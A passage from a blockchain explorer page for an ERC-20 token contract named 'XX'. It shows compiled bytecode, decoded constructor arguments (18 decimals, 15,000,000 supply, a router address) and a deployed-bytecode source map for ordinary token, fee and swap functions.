505afa158015611e8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eb391906122f2565b81600181518110611ec757611ec6612cba565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f2e30600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f8b565b600e60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f929594939291906128c9565b600060405180830381600087803b158015611fac57600080fd5b505af1158015611fc0573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611ff5929190612899565b60405180910390a15050565b6000808314156120145760009050612076565b600082846120229190612aa2565b90508284826120319190612a71565b14612071576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612068906127de565b60405180910390fd5b809150505b92915050565b60006120be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061215b565b905092915050565b600061210883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061154e565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612156573d6000803e3d6000fd5b505050565b600080831182906121a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612199919061273c565b60405180910390fd5b50600083856121b19190612a71565b9050809150509392505050565b60006121d16121cc8461299a565b612975565b905080838252602082019050828560208602820111156121f4576121f3612d1d565b5b60005b85811015612224578161220a88826122b0565b8452602084019350602083019250506001810190506121f7565b5050509392505050565b60008135905061223d81612fb8565b92915050565b60008151905061225281612fb8565b92915050565b600082601f83011261226d5761226c612d18565b5b815161227d8482602086016121be565b91505092915050565b60008135905061229581612fcf565b92915050565b6000813590506122aa81612fe6565b92915050565b6000815190506122bf81612fe6565b92915050565b6000602082840312156122db576122da612d27565b5b60006122e98482850161222e565b91505092915050565b60006020828403121561230857612307612d27565b5b600061231684828501612243565b91505092915050565b6000806040838503121561233657612335612d27565b5b60006123448582860161222e565b92505060206123558582860161222e565b9150509250929050565b60008060006060848603121561237857612377612d27565b5b60006123868682870161222e565b93505060206123978682870161222e565b92505060406123a88682870161229b565b9150509250925092565b600080604083850312156123c9576123c8612d27565b5b60006123d78582860161222e565b92505060206123e88582860161229b565b9150509250929050565b60006020828403121561240857612407612d27565b5b600082015167ffffffffffffffff81111561242657612425612d22565b5b61243284828501612258565b91505092915050565b60006020828403121561245157612450612d27565b5b600061245f84828501612286565b91505092915050565b60006020828403121561247e5761247d612d27565b5b600061248c8482850161229b565b91505092915050565b6000602082840312156124ab576124aa612d27565b5b60006124b9848285016122b0565b91505092915050565b60006124ce83836124da565b60208301905092915050565b6124e381612b30565b82525050565b6124f281612b30565b82525050565b6000612503826129d6565b61250d81856129f9565b9350612518836129c6565b8060005b8381101561254957815161253088826124c2565b975061253b836129ec565b92505060018101905061251c565b5085935050505092915050565b61255f81612b42565b82525050565b61256e81612b85565b82525050565b600061257f826129e1565b6125898185612a0a565b9350612599818560208601612b97565b6125a281612d2c565b840191505092915050565b60006125ba602383612a0a565b91506125c582612d3d565b604082019050919050565b60006125dd602683612a0a565b91506125e882612d8c565b604082019050919050565b6000612600602283612a0a565b915061260b82612ddb565b604082019050919050565b6000612623601b83612a0a565b915061262e82612e2a565b602082019050919050565b6000612646602183612a0a565b915061265182612e53565b604082019050919050565b6000612669602083612a0a565b915061267482612ea2565b602082019050919050565b600061268c602983612a0a565b915061269782612ecb565b604082019050919050565b60006126af602583612a0a565b91506126ba82612f1a565b604082019050919050565b60006126d2602483612a0a565b91506126dd82612f69565b604082019050919050565b6126f181612b6e565b82525050565b61270081612b78565b82525050565b600060208201905061271b60008301846124e9565b92915050565b60006020820190506127366000830184612556565b92915050565b600060208201905081810360008301526127568184612574565b905092915050565b60006020820190508181036000830152612777816125ad565b9050919050565b60006020820190508181036000830152612797816125d0565b9050919050565b600060208201905081810360008301526127b7816125f3565b9050919050565b600060208201905081810360008301526127d781612616565b9050919050565b600060208201905081810360008301526127f781612639565b9050919050565b600060208201905081810360008301526128178161265c565b9050919050565b600060208201905081810360008301526128378161267f565b9050919050565b60006020820190508181036000830152612857816126a2565b9050919050565b60006020820190508181036000830152612877816126c5565b9050919050565b600060208201905061289360008301846126e8565b92915050565b60006040820190506128ae60008301856126e8565b81810360208301526128c081846124f8565b90509392505050565b600060a0820190506128de60008301886126e8565b6128eb6020830187612565565b81810360408301526128fd81866124f8565b905061290c60608301856124e9565b61291960808301846126e8565b9695505050505050565b600060608201905061293860008301866126e8565b61294560208301856126e8565b6129526040830184612556565b949350505050565b600060208201905061296f60008301846126f7565b92915050565b600061297f612990565b905061298b8282612bfc565b919050565b6000604051905090565b600067ffffffffffffffff8211156129b5576129b4612ce9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612a2682612b6e565b9150612a3183612b6e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a6657612a65612c2d565b5b828201905092915050565b6000612a7c82612b6e565b9150612a8783612b6e565b925082612a9757612a96612c5c565b5b828204905092915050565b6000612aad82612b6e565b9150612ab883612b6e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612af157612af0612c2d565b5b828202905092915050565b6000612b0782612b6e565b9150612b1283612b6e565b925082821015612b2557612b24612c2d565b5b828203905092915050565b6000612b3b82612b4e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612b9082612b6e565b9050919050565b60005b83811015612bb5578082015181840152602081019050612b9a565b83811115612bc4576000848401525b50505050565b60006002820490506001821680612be257607f821691505b60208210811415612bf657612bf5612c8b565b5b50919050565b612c0582612d2c565b810181811067ffffffffffffffff82111715612c2457612c23612ce9565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612fc181612b30565b8114612fcc57600080fd5b50565b612fd881612b42565b8114612fe357600080fd5b50565b612fef81612b6e565b8114612ffa57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220cb35dac38549c4d7de27cafb36a4f2010bd0a546769dec42df5dc0395aa7627f64736f6c63430008050033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000e4e1c000000000000000000000000002567e569000c273b04a63e8dfa93103f3394a9b0000000000000000000000000000000000000000000000000000000000000002585800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000025858000000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : coinName (string): XX
Arg [1] : coinSymbol (string): XX
Arg [2] : coinDecimals (uint8): 18
Arg [3] : supply (uint256): 15000000
Arg [4] : router (address): 0x02567e569000C273b04A63E8DFa93103f3394A9b

-----Encoded View---------------
9 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000e0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [3] : 0000000000000000000000000000000000000000000000000000000000e4e1c0
Arg [4] : 00000000000000000000000002567e569000c273b04a63e8dfa93103f3394a9b
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000002
Arg [6] : 5858000000000000000000000000000000000000000000000000000000000000
Arg [7] : 0000000000000000000000000000000000000000000000000000000000000002
Arg [8] : 5858000000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

8507:9295:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10826:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11992:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11103:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13227:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11012:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11489:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12506:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17466:333;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;;:::i;:::-;;;;;;;;11211:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5606:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5820:137;;;;;;;;;;;;;:::i;:::-;;10917:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11715:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13052:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5482:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12639:171;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11338:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5965:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10826:83;10863:13;10896:5;10889:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10826:83;:::o;11992:161::-;12067:4;12084:39;12093:12;:10;:12::i;:::-;12107:7;12116:6;12084:8;:39::i;:::-;12141:4;12134:11;;11992:161;;;;:::o;11103:100::-;11156:7;11183:12;;11176:19;;11103:100;:::o;13227:313::-;13325:4;13342:36;13352:6;13360:9;13371:6;13342:9;:36::i;:::-;;13389:121;13398:6;13406:12;:10;:12::i;:::-;13420:89;13458:6;13420:89;;;;;;;;;;;;;;;;;:11;:19;13432:6;13420:19;;;;;;;;;;;;;;;:33;13440:12;:10;:12::i;:::-;13420:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;13389:8;:121::i;:::-;13528:4;13521:11;;13227:313;;;;;:::o;11012:83::-;11053:5;11078:9;;;;;;;;;;;11071:16;;11012:83;:::o;11489:218::-;11577:4;11594:83;11603:12;:10;:12::i;:::-;11617:7;11626:50;11665:10;11626:11;:25;11638:12;:10;:12::i;:::-;11626:25;;;;;;;;;;;;;;;:34;11652:7;11626:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;11594:8;:83::i;:::-;11695:4;11688:11;;11489:218;;;;:::o;12506:125::-;5743:12;:10;:12::i;:::-;5733:22;;:6;;;;;;;;;;:22;;;5725:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12615:8:::1;12588:24;:35;;;;12506:125:::0;:::o;17466:333::-;17535:16;17553:17;17573:10;17613:9;:18;17623:7;17613:18;;;;;;;;;;;;;;;:27;;;17602:38;;17670:11;;;;;;;;;;;17663:29;;;17693:7;17663:38;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17651:50;;17712:25;17740:9;:18;17750:7;17740:18;;;;;;;;;;;;;;;17712:46;;17777:8;:14;;;;;;;;;;;;17769:22;;17591:208;17466:333;;;;;:::o;11211:119::-;11277:7;11304:9;:18;11314:7;11304:18;;;;;;;;;;;;;;;;11297:25;;11211:119;;;:::o;5606:79::-;5644:7;5671:6;;;;;;;;;;;5664:13;;5606:79;:::o;5820:137::-;5743:12;:10;:12::i;:::-;5733:22;;:6;;;;;;;;;;:22;;;5725:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5924:1:::1;5887:40;;5908:6;::::0;::::1;;;;;;;;5887:40;;;;;;;;;;;;5947:1;5930:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;5820:137::o:0;10917:87::-;10956:13;10989:7;10982:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10917:87;:::o;11715:269::-;11808:4;11825:129;11834:12;:10;:12::i;:::-;11848:7;11857:96;11896:15;11857:96;;;;;;;;;;;;;;;;;:11;:25;11869:12;:10;:12::i;:::-;11857:25;;;;;;;;;;;;;;;:34;11883:7;11857:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;11825:8;:129::i;:::-;11972:4;11965:11;;11715:269;;;;:::o;13052:167::-;13130:4;13147:42;13157:12;:10;:12::i;:::-;13171:9;13182:6;13147:9;:42::i;:::-;;13207:4;13200:11;;13052:167;;;;:::o;5482:21::-;;;;;;;;;;;;:::o;12639:171::-;5743:12;:10;:12::i;:::-;5733:22;;:6;;;;;;;;;;:22;;;5725:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12740:8:::1;12716:21;;:32;;;;;;;;;;;;;;;;;;12764:38;12793:8;12764:38;;;;;;:::i;:::-;;;;;;;;12639:171:::0;:::o;11338:143::-;11419:7;11446:11;:18;11458:5;11446:18;;;;;;;;;;;;;;;:27;11465:7;11446:27;;;;;;;;;;;;;;;;11439:34;;11338:143;;;;:::o;5965:244::-;5743:12;:10;:12::i;:::-;5733:22;;:6;;;;;;;;;;:22;;;5725:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6074:1:::1;6054:22;;:8;:22;;;;6046:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;6164:8;6135:38;;6156:6;::::0;::::1;;;;;;;;6135:38;;;;;;;;;;;;6193:8;6184:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;5965:244:::0;:::o;102:115::-;155:15;198:10;183:26;;102:115;:::o;12161:337::-;12271:1;12254:19;;:5;:19;;;;12246:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12352:1;12333:21;;:7;:21;;;;12325:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12436:6;12406:11;:18;12418:5;12406:18;;;;;;;;;;;;;;;:27;12425:7;12406:27;;;;;;;;;;;;;;;:36;;;;12474:7;12458:32;;12467:5;12458:32;;;12483:6;12458:32;;;;;;:::i;:::-;;;;;;;;12161:337;;;:::o;13548:1295::-;13635:4;13680:1;13662:20;;:6;:20;;;;13654:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;13764:1;13743:23;;:9;:23;;;;13735:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;13834:1;13825:6;:10;13817:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;13897:16;;;;;;;;;;;13894:942;;;13946:41;13961:6;13969:9;13980:6;13946:14;:41::i;:::-;13939:48;;;;13894:942;14040:28;14071:24;14089:4;14071:9;:24::i;:::-;14040:55;;14110:28;14165:12;;14141:20;:36;;14110:67;;14198:23;:44;;;;;14226:16;;;;;;;;;;;14225:17;14198:44;:69;;;;;14247:12;:20;14260:6;14247:20;;;;;;;;;;;;;;;;;;;;;;;;;14246:21;14198:69;:94;;;;;14271:21;;;;;;;;;;;14198:94;14194:301;;;14329:25;;;;;;;;;;;14326:98;;;14400:24;;14377:47;;14326:98;14443:36;14458:20;14443:14;:36::i;:::-;14194:301;14531:53;14553:6;14531:53;;;;;;;;;;;;;;;;;:9;:17;14541:6;14531:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;14511:9;:17;14521:6;14511:17;;;;;;;;;;;;;;;:73;;;;14601:19;14623:34;14631:6;14639:9;14650:6;14623:7;:34::i;:::-;14601:56;;14699:37;14724:11;14699:9;:20;14709:9;14699:20;;;;;;;;;;;;;;;;:24;;:37;;;;:::i;:::-;14676:9;:20;14686:9;14676:20;;;;;;;;;;;;;;;:60;;;;14775:9;14758:40;;14767:6;14758:40;;;14786:11;14758:40;;;;;;:::i;:::-;;;;;;;;14820:4;14813:11;;;;;13548:1295;;;;;;:::o;1530:192::-;1616:7;1649:1;1644;:6;;1652:12;1636:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1676:9;1692:1;1688;:5;;;;:::i;:::-;1676:17;;1713:1;1706:8;;;1530:192;;;;;:::o;1197:181::-;1255:7;1275:9;1291:1;1287;:5;;;;:::i;:::-;1275:17;;1316:1;1311;:6;;1303:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1369:1;1362:8;;;1197:181;;;;:::o;14851:330::-;14944:4;14981:53;15003:6;14981:53;;;;;;;;;;;;;;;;;:9;:17;14991:6;14981:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;14961:9;:17;14971:6;14961:17;;;;;;;;;;;;;;;:73;;;;15068:32;15093:6;15068:9;:20;15078:9;15068:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;15045:9;:20;15055:9;15045:20;;;;;;;;;;;;;;;:55;;;;15133:9;15116:35;;15125:6;15116:35;;;15144:6;15116:35;;;;;;:::i;:::-;;;;;;;;15169:4;15162:11;;14851:330;;;;;:::o;15191:621::-;9826:4;9807:16;;:23;;;;;;;;;;;;;;;;;;15295:25:::1;15312:7;15295:16;:25::i;:::-;15331:22;15356:21;15331:46;;15420:22;15445:31;15472:3;15445:22;15464:2;15445:14;:18;;:22;;;;:::i;:::-;:26;;:31;;;;:::i;:::-;15420:56;;15513:27;15543:34;15562:14;15543;:18;;:34;;;;:::i;:::-;15513:64;;15615:1;15593:19;:23;15590:106;;;15631:65;15652:22;;;;;;;;;;;15676:19;15631:20;:65::i;:::-;15590:106;15729:1;15712:14;:18;15709:91;;;15745:55;15766:17;;;;;;;;;;;15785:14;15745:20;:55::i;:::-;15709:91;15252:560;;;9872:5:::0;9853:16;;:24;;;;;;;;;;;;;;;;;;15191:621;:::o;16488:968::-;16574:7;16596:17;16616:1;16596:21;;16628:18;16664:12;:20;16677:6;16664:20;;;;;;;;;;;;;;;;;;;;;;;;;16661:223;;;16713:38;16747:3;16713:29;16724:17;;16713:6;:10;;:29;;;;:::i;:::-;:33;;:38;;;;:::i;:::-;16701:50;;16661:223;;;16781:12;:23;16794:9;16781:23;;;;;;;;;;;;;;;;;;;;;;;;;16778:106;;;16833:39;16868:3;16833:30;16844:18;;16833:6;:10;;:30;;;;:::i;:::-;:34;;:39;;;;:::i;:::-;16821:51;;16778:106;16661:223;16909:1;16897:9;:13;16894:514;;;16954:39;16983:9;16954;:24;16972:4;16954:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;16927:9;:24;16945:4;16927:24;;;;;;;;;;;;;;;:66;;;;17038:4;17013:42;;17022:6;17013:42;;;17045:9;17013:42;;;;;;:::i;:::-;;;;;;;;16894:514;;;17150:21;17188:1;17174:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17150:40;;17223:6;17205:4;17210:1;17205:7;;;;;;;;:::i;:::-;;;;;;;:25;;;;;;;;;;;17255:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17245:4;17250:1;17245:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;17292:12;17307:15;;;;;;;;;;;:29;;;17337:6;17344:4;17307:42;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17350:1;17307:45;;;;;;;;:::i;:::-;;;;;;;;17292:60;;17389:7;17380:6;:16;;;;:::i;:::-;17367:29;;17071:337;;16894:514;17427:21;17438:9;17427:6;:10;;:21;;;;:::i;:::-;17420:28;;;;16488:968;;;;;:::o;15818:658::-;15944:21;15982:1;15968:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15944:40;;16013:4;15995;16000:1;15995:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;16039:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16029:4;16034:1;16029:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;16074:62;16091:4;16106:15;;;;;;;;;;;16124:11;16074:8;:62::i;:::-;16175:15;;;;;;;;;;;:66;;;16256:11;16282:1;16326:4;16353;16389:15;16175:240;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16433:35;16450:11;16463:4;16433:35;;;;;;;:::i;:::-;;;;;;;;15873:603;15818:658;:::o;1730:250::-;1788:7;1817:1;1812;:6;1808:47;;;1842:1;1835:8;;;;1808:47;1867:9;1883:1;1879;:5;;;;:::i;:::-;1867:17;;1912:1;1907;1903;:5;;;;:::i;:::-;:10;1895:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1971:1;1964:8;;;1730:250;;;;;:::o;1988:132::-;2046:7;2073:39;2077:1;2080;2073:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;2066:46;;1988:132;;;;:::o;1386:136::-;1444:7;1471:43;1475:1;1478;1471:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1464:50;;1386:136;;;;:::o;12820:126::-;12912:9;:18;;:26;12931:6;12912:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12820:126;;:::o;2128:278::-;2214:7;2246:1;2242;:5;2249:12;2234:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2273:9;2289:1;2285;:5;;;;:::i;:::-;2273:17;;2397:1;2390:8;;;2128:278;;;;;:::o;24:744:1:-;131:5;156:81;172:64;229:6;172:64;:::i;:::-;156:81;:::i;:::-;147:90;;257:5;286:6;279:5;272:21;320:4;313:5;309:16;302:23;;346:6;396:3;388:4;380:6;376:17;371:3;367:27;364:36;361:2;;;415:79;;:::i;:::-;361:2;528:1;513:249;538:6;535:1;532:13;513:249;;;606:3;635:48;679:3;667:10;635:48;:::i;:::-;630:3;623:61;713:4;708:3;704:14;697:21;;747:4;742:3;738:14;731:21;;573:189;560:1;557;553:9;548:14;;513:249;;;517:14;137:631;;;;;;;:::o;774:139::-;820:5;858:6;845:20;836:29;;874:33;901:5;874:33;:::i;:::-;826:87;;;;:::o;919:143::-;976:5;1007:6;1001:13;992:22;;1023:33;1050:5;1023:33;:::i;:::-;982:80;;;;:::o;1085:385::-;1167:5;1216:3;1209:4;1201:6;1197:17;1193:27;1183:2;;1224:79;;:::i;:::-;1183:2;1334:6;1328:13;1359:105;1460:3;1452:6;1445:4;1437:6;1433:17;1359:105;:::i;:::-;1350:114;;1173:297;;;;;:::o;1476:133::-;1519:5;1557:6;1544:20;1535:29;;1573:30;1597:5;1573:30;:::i;:::-;1525:84;;;;:::o;1615:139::-;1661:5;1699:6;1686:20;1677:29;;1715:33;1742:5;1715:33;:::i;:::-;1667:87;;;;:::o;1760:143::-;1817:5;1848:6;1842:13;1833:22;;1864:33;1891:5;1864:33;:::i;:::-;1823:80;;;;:::o;1909:329::-;1968:6;2017:2;2005:9;1996:7;1992:23;1988:32;1985:2;;;2023:79;;:::i;:::-;1985:2;2143:1;2168:53;2213:7;2204:6;2193:9;2189:22;2168:53;:::i;:::-;2158:63;;2114:117;1975:263;;;;:::o;2244:351::-;2314:6;2363:2;2351:9;2342:7;2338:23;2334:32;2331:2;;;2369:79;;:::i;:::-;2331:2;2489:1;2514:64;2570:7;2561:6;2550:9;2546:22;2514:64;:::i;:::-;2504:74;;2460:128;2321:274;;;;:::o;2601:474::-;2669:6;2677;2726:2;2714:9;2705:7;2701:23;2697:32;2694:2;;;2732:79;;:::i;:::-;2694:2;2852:1;2877:53;2922:7;2913:6;2902:9;2898:22;2877:53;:::i;:::-;2867:63;;2823:117;2979:2;3005:53;3050:7;3041:6;3030:9;3026:22;3005:53;:::i;:::-;2995:63;;2950:118;2684:391;;;;;:::o;3081:619::-;3158:6;3166;3174;3223:2;3211:9;3202:7;3198:23;3194:32;3191:2;;;3229:79;;:::i;:::-;3191:2;3349:1;3374:53;3419:7;3410:6;3399:9;3395:22;3374:53;:::i;:::-;3364:63;;3320:117;3476:2;3502:53;3547:7;3538:6;3527:9;3523:22;3502:53;:::i;:::-;3492:63;;3447:118;3604:2;3630:53;3675:7;3666:6;3655:9;3651:22;3630:53;:::i;:::-;3620:63;;3575:118;3181:519;;;;;:::o;3706:474::-;3774:6;3782;3831:2;3819:9;3810:7;3806:23;3802:32;3799:2;;;3837:79;;:::i;:::-;3799:2;3957:1;3982:53;4027:7;4018:6;4007:9;4003:22;3982:53;:::i;:::-;3972:63;;3928:117;4084:2;4110:53;4155:7;4146:6;4135:9;4131:22;4110:53;:::i;:::-;4100:63;;4055:118;3789:391;;;;;:::o;4186:554::-;4281:6;4330:2;4318:9;4309:7;4305:23;4301:32;4298:2;;;4336:79;;:::i;:::-;4298:2;4477:1;4466:9;4462:17;4456:24;4507:18;4499:6;4496:30;4493:2;;;4529:79;;:::i;:::-;4493:2;4634:89;4715:7;4706:6;4695:9;4691:22;4634:89;:::i;:::-;4624:99;;4427:306;4288:452;;;;:::o;4746:323::-;4802:6;4851:2;4839:9;4830:7;4826:23;4822:32;4819:2;;;4857:79;;:::i;:::-;4819:2;4977:1;5002:50;5044:7;5035:6;5024:9;5020:22;5002:50;:::i;:::-;4992:60;;4948:114;4809:260;;;;:::o;5075:329::-;5134:6;5183:2;5171:9;5162:7;5158:23;5154:32;5151:2;;;5189:79;;:::i;:::-;5151:2;5309:1;5334:53;5379:7;5370:6;5359:9;5355:22;5334:53;:::i;:::-;5324:63;;5280:117;5141:263;;;;:::o;5410:351::-;5480:6;5529:2;5517:9;5508:7;5504:23;5500:32;5497:2;;;5535:79;;:::i;:::-;5497:2;5655:1;5680:64;5736:7;5727:6;5716:9;5712:22;5680:64;:::i;:::-;5670:74;;5626:128;5487:274;;;;:::o;5767:179::-;5836:10;5857:46;5899:3;5891:6;5857:46;:::i;:::-;5935:4;5930:3;5926:14;5912:28;;5847:99;;;;:::o;5952:108::-;6029:24;6047:5;6029:24;:::i;:::-;6024:3;6017:37;6007:53;;:::o;6066:118::-;6153:24;6171:5;6153:24;:::i;:::-;6148:3;6141:37;6131:53;;:::o;6220:732::-;6339:3;6368:54;6416:5;6368:54;:::i;:::-;6438:86;6517:6;6512:3;6438:86;:::i;:::-;6431:93;;6548:56;6598:5;6548:56;:::i;:::-;6627:7;6658:1;6643:284;6668:6;6665:1;6662:13;6643:284;;;6744:6;6738:13;6771:63;6830:3;6815:13;6771:63;:::i;:::-;6764:70;;6857:60;6910:6;6857:60;:::i;:::-;6847:70;;6703:224;6690:1;6687;6683:9;6678:14;;6643:284;;;6647:14;6943:3;6936:10;;6344:608;;;;;;;:::o;6958:109::-;7039:21;7054:5;7039:21;:::i;:::-;7034:3;7027:34;7017:50;;:::o;7073:147::-;7168:45;7207:5;7168:45;:::i;:::-;7163:3;7156:58;7146:74;;:::o;7226:364::-;7314:3;7342:39;7375:5;7342:39;:::i;:::-;7397:71;7461:6;7456:3;7397:71;:::i;:::-;7390:78;;7477:52;7522:6;7517:3;7510:4;7503:5;7499:16;7477:52;:::i;:::-;7554:29;7576:6;7554:29;:::i